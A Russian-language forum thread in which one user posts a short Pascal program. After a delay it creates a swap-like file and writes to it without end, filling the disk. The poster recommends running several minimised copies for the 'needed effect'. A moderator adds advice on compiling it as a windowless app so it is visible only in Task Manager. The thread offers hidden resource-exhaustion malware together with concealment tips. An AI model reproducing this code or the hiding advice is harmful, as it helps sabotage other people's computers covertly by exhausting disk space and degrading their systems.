![]() |
![]() |
SKVOZNJAK |
![]()
Сообщение
#1
|
![]() Профи ![]() ![]() ![]() ![]() Группа: Пользователи Сообщений: 930 Пол: Мужской Репутация: ![]() ![]() ![]() |
Код USES CRT, DOS; VAR Q3,W3: BYTE; Q2,W2: LONGINT; Q7: FILE; QQQ: ARRAY[1..100000] OF BYTE; DirIn : SearchRec; LABEL 1; BEGIN DELAY(60000); DELAY(60000); DELAY(60000); RANDOMIZE; ASSIGN(Q7,'KBJ.SWP'); FindFirst('KBJ.SWP', AnyFile, DirIn); IF DosError=0 THEN ERASE(Q7); Rewrite(Q7,1); 1: FOR W2:=1 TO 20000 DO BEGIN Q2:=RANDOM(80000000); SEEK(Q7,Q2); Q3:=RANDOM(256); FOR W3:=1 TO 200 DO BLOCKWRITE(Q7,Q3,1); END; BLOCKWRITE(Q7,QQQ,100000); GOTO 1; CLOSE(Q7); END. Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект ![]() |
![]() ![]() |
Altair |
![]()
Сообщение
#2
|
![]() Ищущий истину ![]() ![]() ![]() ![]() ![]() ![]() Группа: Модераторы Сообщений: 4 824 Пол: Мужской Реальное имя: Олег Репутация: ![]() ![]() ![]() |
Цитата Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект Как сделать чтобы и значка на экране видно не было, А почему бы не компилировать с директивами для графического приложения? Так получается консольное, и консоль все равно будет на экране, а если приложение скомпилировать под граф. режим, то при отсутсвии в нем окон, вообще определеить то, что программа работает можно будет лишь посмотрев менеджер задач (CTRL+ALT+DEL)... ![]() -------------------- Помогая друг другу, мы справимся с любыми трудностями!
"Не опускать крылья!" (С) |
![]() ![]() |
![]() |
Текстовая версия | 20.07.2025 5:10 |